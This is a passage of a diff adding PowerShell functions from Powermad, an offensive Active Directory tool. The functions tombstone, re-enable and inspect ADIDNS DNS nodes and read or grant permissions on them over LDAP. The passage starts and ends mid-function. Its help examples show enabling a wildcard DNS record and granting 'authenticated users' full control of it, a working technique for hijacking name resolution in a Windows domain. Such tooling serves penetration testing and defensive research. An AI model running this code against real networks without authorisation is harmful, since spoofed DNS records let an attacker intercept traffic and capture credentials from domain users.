+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$Node,
+ [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ try
+ {
+ $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ $timestamp = [int64](([datetime]::UtcNow.Ticks)-(Get-Date "1/1/1601").Ticks)
+ $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp))
+ $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)}
+
+ [Byte[]]$DNS_record = 0x08,0x00,0x00,0x00,0x05,0x00,0x00,0x00 +
+ $SOASerialNumberArray[0..3] +
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
+ $timestamp
+
+ Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNS_record))"
+
+ try
+ {
+ $directory_entry.InvokeSet('dnsRecord',$DNS_record)
+ $directory_entry.InvokeSet('dnsTombstoned',$true)
+ $directory_entry.SetInfo()
+ Write-Output "[+] ADIDNS node $Node tombstoned"
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+}
+
+function Enable-ADIDNSNode
+{
+ <#
+ .SYNOPSIS
+ This function can turn a tombstoned node back into a valid record.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function can turn a tombstoned node back into a valid record. This function should be used in place of
+ New-ADIDNSNode when working with nodes that already exist due to being previously added.
+
+ .PARAMETER Attribute
+ The ADIDNS node attribute.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to modify the attribute.
+
+ .PARAMETER Data
+ For most record types this will be the destination hostname or IP address. For TXT records this can be used
+ for data.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS zone.
+
+ .PARAMETER DNSRecord
+ DNSRecord byte array. See MS-DNSP for details on the dnsRecord structure.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Node
+ The ADIDNS node name.
+
+ .PARAMETER Partition
+ Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored.
+
+ .PARAMETER Port
+ SRV record port.
+
+ .PARAMETER Preference
+ MX record preference.
+
+ .PARAMETER Priority
+ SRV record priority.
+
+ .PARAMETER Tombstone
+ Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that
+ allows it to be modified or fully tombstoned by any authenticated user.
+
+ .PARAMETER SOASerialNumber
+ The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
+ DNS server and querying an SOA record.
+
+ .PARAMETER Static
+ Switch: Zeros out the timestamp to create a static record instead of a dynamic.
+
+ .PARAMETER TTL
+ Default = 600: DNS record TTL.
+
+ .PARAMETER Type
+ Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT.
+
+ .PARAMETER Weight
+ SRV record weight.
+
+ .PARAMETER Zone
+ The ADIDNS zone.
+
+ .EXAMPLE
+ Enable a wildcard record.
+ Enable-ADIDNSNode -Node *
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$Data,
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$Node,
+ [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
+ [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][Byte[]]$DNSRecord,
+ [parameter(Mandatory=$false)][Int]$Preference,
+ [parameter(Mandatory=$false)][Int]$Priority,
+ [parameter(Mandatory=$false)][Int]$Weight,
+ [parameter(Mandatory=$false)][Int]$Port,
+ [parameter(Mandatory=$false)][Int]$TTL = 600,
+ [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
+ [parameter(Mandatory=$false)][Switch]$Static,
+ [parameter(Mandatory=$false)][Switch]$Tombstone,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if(!$DNSRecord)
+ {
+
+ try
+ {
+
+ if($Static)
+ {
+ $DNSRecord = New-DNSRecordArray -Data $Data -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Static
+ }
+ else
+ {
+ $DNSRecord = New-DNSRecordArray -Data $Data -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight
+ }
+
+ Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))"
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+ $directory_entry.InvokeSet('dnsRecord',$DNSRecord)
+ $directory_entry.SetInfo()
+ Write-Output "[+] $Node enabled"
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+}
+
+function Get-ADIDNSNodeAttribute
+{
+ <#
+ .SYNOPSIS
+ This function can return values populated in an ADIDNS node attribute.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function can be used to retrn an ADIDNS node attribute such as a dnsRecord array.
+
+ .PARAMETER Attribute
+ The ADIDNS node attribute.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to read the attribute.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS node.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Node
+ The ADIDNS node name.
+
+ .PARAMETER Partition
+ Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored.
+
+ .PARAMETER Zone
+ The ADIDNS zone.
+
+ .EXAMPLE
+ Get the dnsRecord attribute value of a node named test.
+ Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$Attribute,
+ [parameter(Mandatory=$true)][String]$Node,
+ [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+ $output = $directory_entry.InvokeGet($Attribute)
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+ return $output
+}
+
+function Get-ADIDNSNodeOwner
+{
+ <#
+ .SYNOPSIS
+ This function can returns the owner of an ADIDNS Node.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function can returns the owner of an ADIDNS Node.
+
+ .PARAMETER Attribute
+ The ADIDNS node attribute.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to read the attribute.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS node.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Node
+ The ADIDNS node name.
+
+ .PARAMETER Partition
+ Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored.
+
+ .PARAMETER Zone
+ The ADIDNS zone.
+
+ .EXAMPLE
+ Get the owner of a node named test.
+ Get-ADIDNSNodeOwner -Node test
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$Node,
+ [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+ $output = $directory_entry.PsBase.ObjectSecurity.Owner
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+ return $output
+}
+
+function Get-ADIDNSNodeTombstoned
+{
+ <#
+ .SYNOPSIS
+ This function can determine if a node has been tombstoned.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function checks the values of dnsTombstoned and dnsRecord in order to determine if a node if currently
+ tombstoned.
+
+ .PARAMETER Attribute
+ The ADIDNS node attribute.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to read the attribute.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS node.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Node
+ The ADIDNS node name.
+
+ .PARAMETER Partition
+ Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored.
+
+ .PARAMETER Zone
+ The ADIDNS zone.
+
+ .EXAMPLE
+ Get the dnsRecord attribute value of a node named test.
+ Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$Node,
+ [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+ $dnsTombstoned = $directory_entry.InvokeGet('dnsTombstoned')
+ $dnsRecord = $directory_entry.InvokeGet('dnsRecord')
+ }
+ catch
+ {
+
+ if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*')
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ $directory_entry.Close()
+ throw
+ }
+
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+ $node_tombstoned = $false
+
+ if($dnsTombstoned -and $dnsRecord)
+ {
+
+ if($dnsRecord[0].GetType().name -eq [Byte])
+ {
+
+ if($dnsRecord.Count -ge 32 -and $dnsRecord[2] -eq 0)
+ {
+ $node_tombstoned = $true
+ }
+
+ }
+
+ }
+
+ return $node_tombstoned
+}
+
+function Get-ADIDNSPermission
+{
+ <#
+ .SYNOPSIS
+ This function gets a DACL of an ADIDNS node or zone.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function can be used to confirm that a user or group has the required permission
+ to modify an ADIDNS zone or node.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to enumerate the DACL.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS node or zone.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Node
+ The ADIDNS node name.
+
+ .PARAMETER Partition
+ Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored.
+
+ .PARAMETER Zone
+ The ADIDNS zone.
+
+ .EXAMPLE
+ Get the DACL for the default ADIDNS zone.
+ Get-ADIDNSPermission
+
+ .EXAMPLE
+ Get the DACL for an ADIDNS node named test.
+ Get-ADIDNSPermission -Node test
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$false)][String]$Node,
+ [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ if(!$DistinguishedName)
+ {
+
+ if($Node)
+ {
+ $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+ }
+ else
+ {
+ $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=DomainDNSZones"
+ }
+
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+ $directory_entry_security = $directory_entry.psbase.ObjectSecurity
+ $directory_entry_DACL = $directory_entry_security.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier])
+ $output=@()
+
+ ForEach($ACE in $directory_entry_DACL)
+ {
+ $principal = ""
+ $principal_distingushed_name = ""
+
+ try
+ {
+ $principal = $ACE.IdentityReference.Translate([System.Security.Principal.NTAccount])
+ }
+ catch
+ {
+
+ if($ACE.IdentityReference.AccountDomainSid)
+ {
+
+ if($Credential)
+ {
+ $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/<SID=$($ACE.IdentityReference.Value)>",$Credential.UserName,$credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/<SID=$($ACE.IdentityReference.Value)>"
+ }
+
+ if($directory_entry_principal.Properties.userPrincipalname)
+ {
+ $principal = $directory_entry_principal.Properties.userPrincipalname.Value
+ }
+ else
+ {
+ $principal = $directory_entry_principal.Properties.sAMAccountName.Value
+ $principal_distingushed_name = $directory_entry_principal.distinguishedName.Value
+ }
+
+ if($directory_entry_principal.Path)
+ {
+ $directory_entry_principal.Close()
+ }
+
+ }
+
+ }
+
+ $PS_object = New-Object PSObject
+ Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "Principal" $principal
+
+ if($principal_distingushed_name)
+ {
+ Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "DistinguishedName" $principal_distingushed_name
+ }
+
+ Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IdentityReference" $ACE.IdentityReference
+ Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ActiveDirectoryRights" $ACE.ActiveDirectoryRights
+ Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceType" $ACE.InheritanceType
+ Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectType" $ACE.ObjectType
+ Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritedObjectType" $ACE.InheritedObjectType
+ Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectFlags" $ACE.ObjectFlags
+ Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "AccessControlType" $ACE.AccessControlType
+ Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IsInherited" $ACE.IsInherited
+ Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceFlags" $ACE.InheritanceFlags
+ Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "PropagationFlags" $ACE.PropagationFlags
+ $output += $PS_object
+ }
+
+ }
+ catch
+ {
+
+ if($_.Exception.Message -notlike "*Some or all identity references could not be translated.*")
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+ return $output
+}
+
+function Grant-ADIDNSPermission
+{
+ <#
+ .SYNOPSIS
+ This function adds an ACE to an ADIDNS node or zone DACL.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ Users that create a new DNS node through LDAP or secure dynamic updates will have full
+ control access. This function can be used to provide additional accounts or groups access to the node.
+ Although this function will work on DNS zones, non-administrators will rarely have the ability
+ to modify an ADIDNS zone.
+
+ .PARAMETER Access
+ Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete,
+ DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren,
+ ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to modify the DACL.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS node or zone.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Node
+ The ADIDNS node name.
+
+ .PARAMETER Partition
+ Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored.
+
+ .PARAMETER Principal
+ The user or group that will be used for the ACE.
+
+ .PARAMETER Type
+ Default = Allow: The ACE allow or deny access type.
+
+ .PARAMETER Zone
+ The ADIDNS zone.
+
+ .EXAMPLE
+ Add full access to a wildcard record for "Authenticated Users".
+ Grant-ADIDNSPermission -Node * -Principal "authenticated users"
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild",
+ "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren",
+ "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll",
+ [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow",
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$false)][String]$Node,
+ [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
+ [parameter(Mandatory=$false)][String]$Principal,
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
